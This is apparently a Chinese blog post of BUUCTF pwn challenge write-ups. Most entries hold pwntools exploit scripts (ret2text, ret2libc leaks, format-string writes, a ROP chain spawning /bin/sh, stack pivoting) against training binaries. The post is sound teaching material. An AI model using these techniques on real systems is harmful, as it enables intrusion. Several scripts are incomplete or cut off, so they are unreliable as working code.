pwn入门-buu刷题第一页笔记(32道)(更新完毕,下一章见)

buu第一页题解(32道) 

寒假做过的,现在可能有点忘了,写一下题解的同时巩固一下自己,同时供各位正在入门pwn的师傅参考一下,写的不好的地方希望有师傅多多指教,第一次写博客,写的不好的地方还请见谅.

对了后面的有些题的代码被我折叠起来了,要点开才能看,千万不要以为我没写exp

test_your_nc(buu第一题)

很简单,直接nc连接就可以了,记得把端口前面的冒号去掉,然后ls, cat flag

rip(buu第二题)


很简单的一道ret2text,gets函数存在溢出点,fun为后门函数,直接丢exp

from pwn import *
p=process("./pwn")
p=remote("node5.buuoj.cn",25903)
gdb.attach(p)
pause()
ret=0x0000000000401016
func_addr=0x401186
payload2=b'a'*(0xF+0x8)+p64(ret)+p64(func_addr)
p.sendline(payload2)
p.interactive()

这里有个栈对齐的机制,如果在payload2中不加p64(ret)会导致system函数无法执行,因为他怀疑是有人偷偷调用了system函数。其实不加p64(ret)的话还有其他的解决方法,自己尝试着搜索一下吧\

warmup_csaw_2016(buu第三题)

看代码


看到get函数,又是一道很简单的栈溢出,还有cat flag的后门函数,也是ret2text类型的


直接丢代码

点击查看代码

from pwn import *
#p=process("./pwn")
p=remote("node5.buuoj.cn",25450)
#gdb.attach(p)
#pause()

ret=0x4006A4
func_addr=0x40060D
payload2=b'a'*0x48+p64(func_addr)
p.sendline(payload2)
p.interactive()

ciscn_2019_n_1(buu第四题)


可以看到令v2等于11.28125就可以cat /flag 也可以通过溢出把程序控制流劫持到system("cat /flag")来获取flag
先来看第二种

点击查看代码

from pwn import *
#p=process("./pwn")
p=remote("node5.buuoj.cn",26340)
#gdb.attach(p)
#pause()


flag_addr=0x4006BE
payload2=b'a'*0x38+p64(flag_addr)
p.sendline(payload2)
p.interactive()

可以看到也是ret2text类型的 看看第一种,先把v1写入合适的值,然后再输入11.28125的对应的16进制构造payload就可以了

点击查看代码

from pwn import *
p = remote("node5.buuoj.cn",26340)
payload = b'a'*44 + p64(0x41348000) #应该将浮点数转为十六进制
p.send(payload)
p.interactive()


pwn1_sctf_2016(buu第五题)

这个题目有点难度,如果代码能力不强很难溢出
先看题

这里虽然有get_flag函数,那这么多行代码怎么看溢出点呢?
是不是看到这么多的代码头都大了,别着急,那么多代码中间是不是看到了"you"和"I"那么我们运行一下程序输入这两个字母试试

可以发现我们输入I之后被替换成了you,那么根据这个特性,本来只能输入32个字符的fget函数,我们只要输入适当的I,再构造合适的payload,那么在执行这个strcpy(s, v0)函数时就可以发生栈溢出
exp如下

点击查看代码

from pwn import *
p = remote("node5.buuoj.cn",25591)
#p=process("./pwn1_")
payload = b'I'*21+b'a'*0x1 + p64(0x08048F13) #应该将浮点数转为十六进制
p.sendline(payload)
p.interactive()

jarvisoj_level0(buu第六题)

看左边有callsystem函数,也就是后门函数,又有溢出点,是一道十分简单的ret2text题目
直接丢exp

点击查看代码

from pwn import *
p = remote("node5.buuoj.cn",25252)
#p=process("./pwn1_")

payload = b'a'*0x88 + p64(0x400596)
p.send(payload)
p.interactive()

[第五空间2019 决赛]PWN5(buu第七题)

可以看到有两个read函数但是都被字数限制了,不满足溢出的条件,看到19到22行代码已经很明显的告诉了我们这题要用格式化字符串来写(建议先学格式化字符串的特性)
先分析代码的逻辑,首先生成了一个随机数,然后读到内存0x0804C044中,最后让我们输入一个passwd,如果等于这个随机数,那么就能提权,很好,正常步骤肯定行不通,幸好我不是正常人
我们可以利用格式化字符串的%n字符改写内存地址0x0804C044里面的内容,%n是往字符串中写入打印成功的字符的字数,这个还需要一点点的动态调试能力

那如何改呢,动态调试一下发现

格式化字符串的参数位于后面的第10位参数,记得数参数要从格式化字符串开始数起,还有地址要用p32或者p64打包,不能直接p.send(b"0x0804C044%10$n"),那么这道题就easy了

exp如下

点击查看代码

from pwn import *
from LibcSearcher import *
context.log_level='debug'
p = process('./pwn32')
#p = remote('node4.buuoj.cn', 28494)
elf = ELF('pwn32')
#gdb.attach(p)
#pause()
bss=0x0804C044
payload1 =p32(bss)+b'%10$n'
p.send(payload1)
p.send(b'4')
p.interactive()

jarvisoj_level2(buu第八题)

来还是常规的先拖进ida

发现read函数,有溢出点。又有system函数表像
再按shift+f12查看字符串,发现/bin/sh

然后我们就可以把函数溢出到system,然后再传入/bin/sh作为他的参数即可拿到shell.
exp如下

点击查看代码

from pwn import *
p=remote("node5.buuoj.cn",25886)
#p=process("./level2")
elf=ELF("./level2")
sys=elf.symbols["system"]
binsh=next(elf.search(b'/bin/sh\x00'))
payload=b'a'*(0x88+0x4)+p32(sys)+b'aaaa'+p32(binsh)
p.send(payload)
p.interactive()

ciscn_2019_n_8(buu第九题)

看ida,我们只要填到var[13],再填17对应的16进制数,0x11就可以了
其实qword是四个字节,千万不要以为var[13]=0,就填b'a'0x13+p8(0x11)。因为var[13]前面有一个qword。
所以一个代表4个字节,所以应该是b'a'
0x13+p8(0x11),那么exp不就手到擒来吗

exp如下

点击查看代码

from pwn import *
p=remote("node5.buuoj.cn",26710)
#p=process("./1")
#elf=ELF("./level2")

payload=b'a'*13*4+p8(0x11)
p.sendline(payload)
p.interactive()

ciscn_2019_c_1(buu第十题)

还是老样子,有附件的话先拖进ida分析

点进begin函数发现,有三个选项

易知选项1是进入encrypt函数,点进该函数发现

有get函数,存在溢出点,但没有system和/bin/sh,所以这题考虑用ret2libc
我们先发送b'1'进入encrypt函数,再把puts出来的输出给接受了,然后直接溢出,注意我们在输入垃圾数据
溢出了get函数之后,程序执行流并不会马上跳转到我们给定的地方,而是要执行完他本来的函数之后再跳转,所以
这里的"Ciphertext"和put(s)任然有效,所有我们应该先把他们再接收了,才是接收我们泄露的put的got地址

攻击代码如下

点击查看代码

from pwn import * 
#context.log_level="debug" 
elf=ELF("1") 
p=remote("node5.buuoj.cn",25827)
#p=process("./1")
#libc=ELF('libc6_2.27-3ubuntu1.4_amd64.so')
libc = ELF('libc-2.27.so_18_64') 
puts_plt=elf.symbols["puts"] 
puts_got=elf.got["puts"] 
volun_addr=0x4009A0 
rdi=0x0000000000400c83 

ret=0x00000000004006b9
#gdb.attach(p)
#pause()
p.recv()
p.sendline(b'1')
p.recvline()
payload1=b'a'*0x58+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(volun_addr)
p.sendline(payload1) 
print(p.recvline())
print(p.recvline())

puts_addr=u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\0'))

print(hex(puts_addr))
offset=puts_addr-libc.sym['puts'] 
sys_addr=offset+libc.sym['system'] 
bin_addr=offset+next(libc.search(b"/bin/sh"))
payload2=b'a'*0x58+p64(rdi)+p64(bin_addr)+p64(ret)+p64(sys_addr)

p.sendline(payload2) 
p.interactive()

buu第十一题(bjdctf_2020_babystack)

套了一层壳的ret2text而已,先输入一个字符,这个字符决定了read读入多少数据,唯一要注意的一点就是,scanf函数在遇到/n的时候才会停止读入。
所以,第一个payload发送应该要用sendline。

点击查看代码

from pwn import *
#p=process('./bjdctf_2020_babystack(4)')
p=remote("node5.buuoj.cn",28729)
p.sendline(b'300')
ret=0x4007CB
#gdb.attach(p)
payload=b'a'*0x18+p64(ret)+p64(0x4006e6)
p.send(payload)
p.interactive()

buu第十二题(get_started_3dsctf_2016)

这道题应该有三种解法,但是有一个好像不太对,我觉得很奇怪。
先看第一种:ret2syscall
静态编译的题目的话,我觉得的几乎可以用ret2syscall来写,这道题当然也不例外,那么这种题的原理应该不用我多说了吧,这麽多gadget
随便用,什么,你说没有/bin/sh?自己不会再调用read函数,写入/bin/sh吗?动动小手才会有收获

exp:

点击查看代码

from pwn import *
from LibcSearcher import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'i386')

p = process('./1')
#p = remote("node5.buuoj.cn",27442)
elf = ELF('./1')
#libc = ELF('buu/libc-2.23.so')
gdb.attach(p)
eax = 0x080b91e6
edx_ecx_ebx =0x0806fc30 
int_80 = 0x0806d7e5
buf = 0x080ECD67 

payload = b'a'*0x38 + p32(elf.sym['read']) + p32(edx_ecx_ebx) + p32(0) + p32(buf) + p32(0x100)
payload += p32(eax) + p32(0xb) + p32(edx_ecx_ebx) + p32(0)*2 + p32(buf) + p32(int_80)


p.sendline(payload)
pause()
p.sendline(b'/bin/sh\x00')
p.interactive()

第二种ret2text:

右边发现有get_flag函数,点进去看看

不难看出这这个函数的作用是打印flag但是要满足一些条件。如果直接跳转到v2 = fopen("flag.txt", "rt");这个语句的话,
本地是可以打通,哪怕不加额外的参数,比如我本地的payload就为payload=b'a'0x38+p32(get_flag)照样可以获得flag,但是
如果相同的脚本打远程的话就会报timeout: the monitored command dumped core这个错误。但是如果我把payload改成payload=b'a'
0x38+p32(get_flag)+p32(0)+p32(0x308CD64F)+p32(0x195719D1)+p32(elf.sym["exit"])才可以打通远程,但是我本地调试时发现两者并没有什么不同,可能是不加这些额外的参数会导致程序超时?应该吧,总之先看看exp

点击查看代码

from pwn import *
#p=process('./1')
#
p=remote("node5.buuoj.cn",29436)
get_flag=0x080489B8
elf=ELF("./1")
#gdb.attach(p)
payload=b'a'*0x38+p32(get_flag)+p32(0)+p32(0x308CD64F)+p32(0x195719D1)+p32(elf.sym["exit"])
p.sendline(payload)
p.interactive()

第三种:ropchain

这种攻击方法本质上和ret2syscall是一样的,所以按道理来说,第一种方法可以,第三种方法应该也是没问题的呀,但是就离谱,先看看我的exp。

点击查看代码

from pwn import *
from struct import pack
context.log_level = 'debug'
#context(os = 'linux', arch = 'amd64')
p = process('./1')
#p = remote('node5.buuoj.cn', 26148)
elf = ELF('1')
gdb.attach(p)
ret=0x08048196

def get_payload():
	#p = b'c'*(0x38)
	
	
	#p += pack('<I', 0x0806fc0a) # pop edx ; ret
	p = pack('<I', 0x080eb060) # @ .data
	p += pack('<I', 0x080b91e6) # pop eax ; ret
	p += b'/bin'
	p += pack('<I', 0x080557ab) # mov dword ptr [edx], eax ; ret
	p += pack('<I', 0x0806fc0a) # pop edx ; ret
	p += pack('<I', 0x080eb064) # @ .data + 4
	p += pack('<I', 0x080b91e6) # pop eax ; ret
	p += b'//sh'
	p += pack('<I', 0x080557ab) # mov dword ptr [edx], eax ; ret
	p += pack('<I', 0x0806fc0a) # pop edx ; ret
	p += pack('<I', 0x080eb068) # @ .data + 8
	p += pack('<I', 0x08049463) # xor eax, eax ; ret
	p += pack('<I', 0x080557ab) # mov dword ptr [edx], eax ; ret
	p += pack('<I', 0x080481ad) # pop ebx ; ret
	p += pack('<I', 0x080eb060) # @ .data
	p += pack('<I', 0x0806fc31) # pop ecx ; pop ebx ; ret
	p += pack('<I', 0x080eb068) # @ .data + 8
	p += pack('<I', 0x080eb060) # padding without overwrite ebx
	p += pack('<I', 0x0806fc0a) # pop edx ; ret
	p += pack('<I', 0x080eb068) # @ .data + 8
	p += pack('<I', 0x08049463) # xor eax, eax ; ret
	p += pack('<I', 0x0807b1ef) # inc eax ; ret
	p += pack('<I', 0x0807b1ef) # inc eax ; ret
	p += pack('<I', 0x0807b1ef) # inc eax ; ret
	p += pack('<I', 0x0807b1ef) # inc eax ; ret
	p += pack('<I', 0x0807b1ef) # inc eax ; ret
	p += pack('<I', 0x0807b1ef) # inc eax ; ret
	p += pack('<I', 0x0807b1ef) # inc eax ; ret
	p += pack('<I', 0x0807b1ef) # inc eax ; ret
	p += pack('<I', 0x0807b1ef) # inc eax ; ret
	p += pack('<I', 0x0807b1ef) # inc eax ; ret
	p += pack('<I', 0x0807b1ef) # inc eax ; ret
	p += pack('<I', 0x0806d7e5) # int 0x80
	return p
        
        
        
        
p.sendline(b'a'*0x38+p32(0x0806fc0a)+get_payload())
p.interactive()

我在p.sendline后面篡改的明明是0x0806fc0a的地址,但是当我动态调试时发现,却莫名其妙的变成了0x8048c00,但是我改成其他的,比如0x0806c00,却没错
很奇怪,可能这就是pwn的魅力吧。

buu十三题(jarvisoj_level2_x64)

这道题目和buu第八题是一样的,只不过应该是32位,一个是64位。如果你已经能写到这个题目来了,应该也起码要知道32位的程序是靠栈传递参数的。
所以对于32位的程序我们可以在其后面四个字节写入他的参数,你问我为什么是四个字节,emmm我忘了。64位的话是通过寄存器传参的,分别通过rdi,rsi
rdx。所以我们先把/bin/sh参数闯入rdi寄存器,然后执行system函数就可以了,这题还算友好的,毕竟都不用我们自己写入/bin/sh.
exp如下

点击查看代码

from pwn import *
p=process("./level2_x64")
elf=ELF("./level2_x64")
sys=elf.symbols["system"]
binsh=next(elf.search(b"/bin/sh\x00"))
rdi=0x00000000004006b3
ret=0x00000000004004a1
gdb.attach(p)
payload=b'a'*0x88+p64(rdi)+p64(binsh)+p64(ret)+p64(sys)
p.send(payload)
p.interactive()

buu十四题([HarekazeCTF2019]baby_rop)

这题和十三题简直如出一辙,__isoc99_scanf函数也可以溢出,值得注意的是__isoc99_scanf函数在遇到/n的时候才会停止读取字符,所以应该用p.sendline

点击查看代码

from pwn import *
p=process("./babyrop")
elf=ELF("./babyrop")
sys=elf.symbols["system"]
binsh=next(elf.search(b"/bin/sh\x00"))
rdi=0x0000000000400683 
ret=0x000000000040061A
gdb.attach(p)
payload=b'a'*0x18+p64(rdi)+p64(binsh)+p64(ret)+p64(sys)
p.sendline(payload)
p.interactive()

buu十五题([OGeek2019]babyrop)

这题还是有点困难的,第一次写的时候还是还师傅的wp写出来的,现在再写一遍还是不能理解其中的奥妙,在这里我先给出我的理解吧.
希望师傅们多多指教,要是能在百忙之中指点一下那也是再好不过的了

这里先用"/dev/urandom"生成一个伪随机数,然后再打开buf的地址开始输入.(其实这个代码不影响写题)

然后执行这个sub_804871F函数,点进去发现

这个代码的逻辑也很简单,上面的应该也不用我讲.我主要讲一下
v1 = strlen(buf);
if ( strncmp(buf, s, v1) )
exit(0);
这三行代码,我们输入buf之后,会将buf和s的前v1的字符进行比较.如果完全相同即返回0,则跳过执行exit(0)代码,如果不相等则执行exit(0)代码.
但是v1=strlen(buf)这个代码有一个特性,就是在遇到b'\x00'时就会停止检查字符,并返回当前长度.那么我们只要一开始让他检测到\x00就可以让v1=0;
从而绕过strncmp(buf, s, v1),相信这么简单的东西应该难不倒你吧.ok那我们接着往下看.

return (unsigned __int8)buf[7]这个代码我还没有理解透.总之先看我们payload1

buu第十六题(others_shellcode)

直接nc即可getshell

buu第十七题(ciscn_2019_n_5)

一道简单的ret2libc,前面的read我还以为要栈迁移,是我想多了,get函数完全足够了

exp:

点击查看代码

from pwn import * 
context.log_level="debug" 
elf=ELF("1") 
p=remote("node5.buuoj.cn",29479)
#p=process("./1")
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('libc-2.27.so_18_64') 
puts_plt=elf.symbols["puts"] 
puts_got=elf.got["puts"] 
volun_addr=elf.sym["main"]
rdi=0x0000000000400713

ret=0x00000000004004c9 
#gdb.attach(p)
#pause()
p.recvuntil(b"tell me your name\n")
p.sendline(b'a'*0x10)
p.recvuntil(b"What do you want to say to me?\n")
 


payload1=b'a'*0x28+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(volun_addr)
p.sendline(payload1) 

puts_addr=u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\0'))
print(hex(puts_addr))
p.recv()
p.sendline(b'a'*0x10)
offset=puts_addr-libc.sym['puts'] 
sys_addr=offset+libc.sym['system'] 
bin_addr=offset+next(libc.search(b"/bin/sh"))
payload2=b'a'*0x28+p64(rdi)+p64(bin_addr)+p64(ret)+p64(sys_addr)
#p.recv()
p.sendline(payload2) 
p.interactive()

buu第十八题(ciscn_2019_en_2)

这个题和buu第十题是一模一样的题目.往上翻或者ctrl+f搜素ciscn_2019_c_1,这里我就不赘述了.

buu第十九题(not_the_same_3dsctf_2016)

这个题目和get_started_3dsctf_2016(buu第十二题)倒是有点相似.这题的代码逻辑也不是很难理解,首先看到右边有个get_secret函数,点击去看到

这个函数的目的是打开名为 "flag.txt" 的文件,从该文件中读取最多 45 个字符,并将结果存储在 fl4g 数组中。然后,函数关闭文件并返回 fclose() 操作的结果。
那么既然这个这个fl4g的地址我们知道,又是静态编译,那么调用一次write函数,把它打印出来就OK了,但是这题居然不用加exit函数,居然也能正常回显,可能这就是他与buu第十二题不一样的地方吧

exp :

点击查看代码

from pwn import * 
context.log_level="debug" 
elf=ELF("1") 
write_addr=elf.sym["write"]
exit=elf.sym["exit"]
p=remote("node5.buuoj.cn",28062)
#p=process("./1")
flag=0x080ECA2D
#gdb.attach(p)
payload=b'a'*(0x2d)+p32(0x080489A0)+p32(write_addr)+b'aaaa'+p32(1)+p32(flag)+p32(0x100)
p.sendline(payload)
p.interactive() 



buu二十题(ciscn_2019_ne_5)

乍一看这题好像还有点复杂,新手一看可能就会说:"罢了罢了,这题是留给大佬看的,我还是看下一个签到题吧".在我仔细分析这题之后,其实不然.
这题的漏洞只是略微包装了一下而已.随我一步一步分析,shell即可手到擒来

一开始会让你输入一个字符串s1,如果你输入的字符串s1等于administrator,那便可进行下一步.
会给我们四个选项,再输入数字,这个应该很简单,不用我再讲了.
我们再看看AddLog这个函数.

它将会让我们输入一个限制最大字符为128的字符,然后返回给src.再接着往下看.

看到getflag函数. 这里发现strcpy(dest, src);这个函数本身没有什么危险,但是它有一个特性就是会将字符src有多少字节就复制多少到dest.
那么由于我们在AddLog最多可以输入128个字节,而这里的dest只要输入0x48个字节就会溢出了.所以我们可以先选择1,把我们的payload写上去,再选择4.
就可以成功执行代码.但是,可能又有人要问了,我们输入1,执行AddLog函数之后不是程序已经完成了吗,为什么还可以输入4.执行其他的语句.来看看下面这个

这里还有个函数sub_804892B(),点击去发现这个函数的作用是JUMPOUT(0x8048851);也就是说跳转到地址0x8048851所指向的地方
我们再用ida中的ctrl+G跳转一下就可以知,这个地址指向的地方为puts("Input your operation:");所以我们又可以重新输入.
OK,下面是exp.还有这个题是32位的所以我用sh当做execv的参数了,64位的可不能用这个sh当做参数.

点击查看代码

from pwn import *
p=process("./buu20")
elf=ELF("./buu20")
#gdb.attach(p)
p=remote("node5.buuoj.cn",26808)
sys=elf.symbols["system"]
#read=elf.symbols["read"]
bss=0x0804A060
sh=next(elf.search(b"sh\x00"))
p.sendline(b"administrator")
p.sendline(b'1')
payload2=b'a'*(0x48+0x4)+p32(sys)+b'aaaa'+p32(sh)
  
p.sendline(payload2) 
p.sendline(b'4')  

p.interactive()

buu二十一题(铁人三项(第五赛区)_2018_rop)

一道套路化的ret2libce而已,直接贴exp吧.这种题没什么可将的,如果你一直打不通可能是中间那个环节出错了,比如got地址没有正确接受.
又或者返回地址不对,总之动调一下吧

点击查看代码

from pwn import *
#p=process("./buu21")
p=remote("node5.buuoj.cn",25958)
libc=ELF("libc-2.27.so_18_32")
e=ELF("./buu21")
write_glt=e.symbols["write"]
write_got=e.got["write"]
back=0x080484C6
#gdb,attach(p)
payload1=b'a'*(0x88+0x4)+p32(write_glt)+p32(back)+p32(1)+p32(write_got)+p32(4)
p.send(payload1)
write_addr=u32(p.recv(4))
print(hex(write_addr))
libc_write=libc.symbols['write']
libc_system=libc.symbols['system']
libc_sh=next(libc.search(b'/bin/sh')) 
re_sys=write_addr-libc_write+libc_system
re_sh=write_addr-libc_write+libc_sh
payload=b'a'*(0x88+0x4)+p32(re_sys)+b'aaaa'+p32(re_sh)
p.send(payload)
p.interactive()

buu二十二题(bjdctf_2020_babyrop)

和二十一题的原理是一样的,只不过程序是64位的,而且泄露的got表的函数为puts而已,记住64位是怎么传参数的,这题也很套路化,直接丢exp了.
这种ret2libc的题只要没开保护机制都很套路化

exp:

点击查看代码

from pwn import * 
context.log_level="debug" 
elf=ELF("buu22") 
p=remote("node5.buuoj.cn",25801)
#p=process("./buu22")
libc=ELF('libc-2.23.so_16_64')
#libc = ELF('libc-2.23.so_16_64') 
puts_plt=elf.symbols["puts"] 
puts_got=elf.got["puts"] 
volun_addr=0x40067D
rdi=0x0000000000400733
#rsi_r15=0x00000000004006b1
ret=0x00000000004005f9 
#gdb.attach(p)
#pause()
p.recvuntil(b"Pull up your sword and tell me u story!\n")

payload1=b'a'*0x28+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(volun_addr)
p.sendline(payload1) 

puts_addr=u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\0'))
print(hex(puts_addr))

offset=puts_addr-libc.sym['puts'] 
sys_addr=offset+libc.sym['system'] 
bin_addr=offset+next(libc.search(b"/bin/sh"))
payload2=b'a'*0x28+p64(rdi)+p64(bin_addr)+p64(ret)+p64(sys_addr)

p.send(payload2) 
p.interactive()

buu二十三题(bjdctf_2020_babystack2)

一道整数溢出的题目

这里问我们要输入多长字节的名字,和之前一道题目不一样的是,如果我们输入超过八个字节的话,那么程序就会强制退出,那么这里可以用到unsigned int(无符号整数的特性)
先简单介绍一下有符号的整数在计算机的二进制层面表示,其二进制表示为100000110,其中最高位表示数的正负(最高位是1则为负数,0则为正数).但是由于unsigned int是无符号的.
也就是说没有负数,那么如果100000110这个传递给他,它会把这个认为是很大的数.由于这个程序又有后门函数,那么这个题目不就是麻烦了一点的ret2text吗?
exp如下:

点击查看代码

from pwn import *
#p=process("./buu23")
p=remote("node5.buuoj.cn",25137)
#gdb.attach(p)
#pause()
p.sendline(b"-1")
ret=0x0000000000400599
back_addr=0x400726
payload2=b'a'*0x18+p64(ret)+p64(back_addr)
p.sendline(payload2)
p.interactive()

buu二十四题(jarvisoj_fm)

看到有printf且printf的参数可控,明显的格式化字符串漏洞,代码逻辑也很简单只要x里面的值为4便可执行system(/bin/sh).
那么在这里我们可以用到%n来实现,又因为32位的格式化字符串的参数是写在栈上的,在ida里面点一下又能知道x对应的地址,那么我们就可以像buu第七题一样写
(32位的地址对应四个字节,所以把一个32位的地址放前面就是写入四个字节).
exp如下

点击查看代码

from pwn import *
p=process("./fm")
x_addr=0x0804A02C
#p=remote("node5.buuoj.cn",26350)
payload=p32(x_addr)+b"%11$n"
p.sendline(payload)
p.interactive()

buu二十五题(jarvisoj_tell_me_something)

这道题代码逻辑还是挺简单的,也是一道ret2text而已

read函数发现栈溢出漏洞,左边有个good_game函数,点进去一看发现

这个函数的作用就是打开一个flag文件,通过层层存储后打印出来,我们需要用p.recv()来接受.但是有师傅可能就会有疑惑了,因为有的师傅在打本地的时候,
先是在本地写了一个flag.txt文件,然后写入payload = b'a'0x88 + p64(elf.sym['good_game'])这个作为payload,但是却打不通本地,但是打远程的时候,
却能接受到flag,这个地方我动态调试一下发现了不同,还是堆栈对齐的问题,如果师傅们把payload写成payload = b'a'
0x88 +p64(ret)+ p64(elf.sym['good_game'])
来打本地是行得通的,归根到底是因为,堆栈没对齐,导致fopen 函数在分配堆的时候出了问题

两个payload打远程都是打得通的,下面是exp

点击查看代码

from pwn import *
from LibcSearcher import *
context.log_level='debug'

#p = process('./buu25')
p = remote("node5.buuoj.cn",27148)
elf = ELF('buu25')
#gdb.attach(p)
rdi = 0x400668
ret = 0x400469

payload = b'a'*0x88 +p64(ret)+ p64(elf.sym['good_game'])
p.sendlineafter(b'Input your message:\n', payload)
p.recv()
p.recv(

buu二十六题(ciscn_2019_es_2)

不知道你们一开始看到这两个read函数会怎么认为呢,第一个read函数与第二个read函数读入的数据存放的地址是否一样,会不会覆盖掉我们之前写入的东西.
答案是一样的,你好好想一想read函数的几个参数分别代表什么意思,由于第一个和第二个的read函数的第二个参数都为s,那么他们都会从s的起始位置开始写.
会覆盖吗,答案是会的,我们第二次是写在同样的地址上面,如果不覆盖原来的地址又写到哪去呢?

这个题给出的read限制了输入的字符多少,在这里我们只能覆盖到ebp和返回地址(ret),而hack函数里面又只有个system("echo flag");达不到获取flag的要求.

那么这题应该要使用栈迁移.这里由于栈迁移的资料比较少,我在这里详细介绍一下栈迁移.

栈迁移

首先栈迁移嘛,肯定人如其名就是把栈迁移到其他的地方去,那么,你的脑海里面会不会蹦出一些列的问题呢?比如说为什么要把栈迁移到其他地方去,我把栈迁移到其他地方去程序还能正常执行吗?
怎么迁移?什么,你只想要快点写完题目,让我不要讲多的,nonono欲速则不达,既然选择了学pwn那么凡是我们就要刨根问底,这才是pwn的精神,上面的问题先不要着急我们一个个解释.

看上面二十六题的那个图片,由于我们只能覆盖到ebp和返回地址(ret),又没有后门函数,那么我们只能先在栈上(或者其他地方,根据题目来)写一段我们构造好rop链.
那么我们如何把栈迁移到这个地方呢?
来来来,看好了

首先如图所示,这是一个简单的栈帧,现在在执行的可能是vul函数,里面rbp指向的可能是main函数的栈帧,这样设计的目的是为了函数的调用.这样才能在vul函数调用完之后回到main函数.
然后当这个函数执行到快要结束的时候就会执行leave ret这个两个指令,这两个指令又相当于mov rsp rbp,pop rbp(leave);pop rip(ret).首先执行mov rsp rbp就会让他们两个都指向old_rbp
再pop rbp的话会让rsp+8(栈的话大地址在下面),那么rbp就会指向old_old_rbp,rsp就会指向ret(因为加8了),然后再pop rip的话又会让rsp+8.所以最后会导致rsp与rbp都指向old_old_rbp.
那么我们如果把old_rbp的值篡改的话会怎么样,来看看

现在我把old_rbp的值篡改成了buf那么当在执行pop rbp之后会怎么样呢,看图

可以看到rbp被我们转移到了buf所指向的地方,rsp再两次pop之后也来到了old_old_rbp的地方,那么这个old_old_rbp我们在这里其实是不用管它的,毕竟我们用不到它,那接下来怎么办呢?
哎,我之前是不是讲过,当一个函数执行完成之后,才会跳转到我们篡改的地址所指向的地方.那么到这里是不是已经执行完成了,那么我们把ret_addr篡改成leave ret的指令,那么接下来会怎样呢
来看图

看到了吗,rsp也过来了,然后再两次pop后,如图所示

buu二十六题(ciscn_2019_es_2)(续)

好了,基本的原理我们已经看完了,现在是时候秒杀这道题了.

来,这道题我们能泄露什么地址呢,显然bss没有写入的函数,但是两次read都读在了栈上,那么我们就可以通过printf函数的特性泄露ebp的地址,printf在遇到b"\x00"时才会停止打印,那么只有我们输入
足够的a就可以把ebp泄露出来.那么再在第二次读入的时候写入rop链,再迁移到s开始的地方,就能成功getshell.先来看exp

点击查看代码

from pwn import *
p=process("./buu26")
elf=ELF("buu26")
#p=remote("node5.buuoj.cn",28370)
sys=elf.sym["system"]
gdb.attach(p)
leave=0x080485FD
payload=b'a'*36+b"fuck"
p.send(payload)

p.recvuntil(b"fuck") 
ebp=u32(p.recv(4))
print(hex(ebp))
p.recv()
payload2=b'a'*0x4+p32(sys)+p32(0)+p32(ebp-0x28)+b"/bin/sh\x00"+b'a'*16+p32(ebp-0x38)+p32(leave)
p.send(payload2)

p.interactive()

哎,这里是不是可能会有人要疑惑了,为什么是exp-0x28,别急我们来动调一下

哎看到没有我们的ebp与真的的ebp多了0x10个字距,那么我们在用的时候就要减去0x10.什么,你说ebp-0x38的地方对应的是b'a'4不是p32(sys),ok那看了我之前的解释你还没听懂.
我再简单讲一遍,我们在第二次leave ret的时候在mov rsp rbp 之后会pop rbp,然后这时的rsp会加8(在这里是加4,上面的rsp应该是esp),然后rsp就会从b'a'
4指向p32(sys)了
OK,现在应该懂了吧.

buu二十七题([HarekazeCTF2019]baby_rop2)

也是一道简单的ret2libc,选一个已经被用过一次的函数再调用printf参数泄露该函数got表,不过这里还是有几个要注意的点,如果你只给printf传一个参数,也就是只传got表的话.
那么需要在p64(printf_plt)之前加个p64(ret)来栈对齐,如果传了%s作为第一个参数就不用对齐了.但是一定要在p64(printf)和p64(main)之间加一个p64(ret).而且这题不知道为什么如果泄漏的是printf的got表的话打不通远程,但是能打得通本地,只有泄露的是read的got才能打通远程.总之多调吧.
这个我以后再慢慢研究吧,那么下面是脚本
exp:

点击查看代码

from pwn import * 
#context.log_level="debug" 
elf=ELF("buu27") 
#p=process("./buu27")
p=remote("node5.buuoj.cn",26232)
libc=ELF('libc.so.6')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') 
printf_plt=elf.symbols["printf"] 
printf_got=elf.got["read"] 
main_addr=elf.sym["main"]
rdi=0x0000000000400733 
rsi_r15=0x0000000000400731
s_addr=0x400770
ret=0x00000000004004d1
#gdb.attach(p)
p.recv()
payload1=b'a'*0x28+p64(rdi)+p64(printf_got)+p64(ret)+p64(printf_plt)+p64(ret)+p64(main_addr) 
p.sendline(payload1)
print(p.recvline())

printf_addr=u64(p.recv(6).ljust(8, b'\x00'))
print(hex(printf_addr))
 
offset=printf_addr-libc.sym['read'] 
sys_addr=offset+libc.sym['system'] 
bin_addr=offset+next(libc.search(b"/bin/sh"))
payload2=b'a'*0x28+p64(ret)+p64(rdi)+p64(bin_addr)+p64(sys_addr)
p.sendline(payload2) 
p.interactive()

"buu二十八题(pwn2_sctf_2016)

代码是不是看不懂,没关系,如果你现在忙着打比赛的话你可以看看我的技巧,但是我还是要说一句,打铁还需自身硬.可能现在的你不好解释为什么会是这样,没关系,未来的你一定会很强大

来看代码

get_n(nptr, 4u);点进这个函数发现

get_n(nptr, 4u);
v2 = atoi(nptr);

可以看到这是个无符号的函数,返回的也是无符号类型的,根据代码容易知道这段代码是来决定下一个get_n函数要输入多少字节的,那么典型的整数溢出啊.不多说了上exp,如果不是很懂的话多动调

点击查看代码

from pwn import *
#p=process("./buu28")
p=remote("node5.buuoj.cn",27442)
libc=ELF("libc-2.23.so_16_32")
elf=ELF("./buu28")
p.sendline(b'-1')
#gdb.attach(p)
ret=0x08048346 
#p.recv()
payload=b'a'*(0x2c+0x4)+p32(elf.plt['printf'])+p32(elf.sym['main'])+p32(elf.got['printf'])
p.sendline(payload)
print(p.recvline())
print(p.recvuntil(b'You said: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'))

print(p.recvuntil(b'\n'))
printf_addr=u32(p.recv(0x4))
print(hex(printf_addr))

p.sendline(b'-1')
#pause()
libc_write=libc.symbols['printf']
libc_system=libc.symbols['system']
libc_sh=next(libc.search(b'/bin/sh')) 
re_sys=printf_addr-libc_write+libc_system
re_sh=printf_addr-libc_write+libc_sh
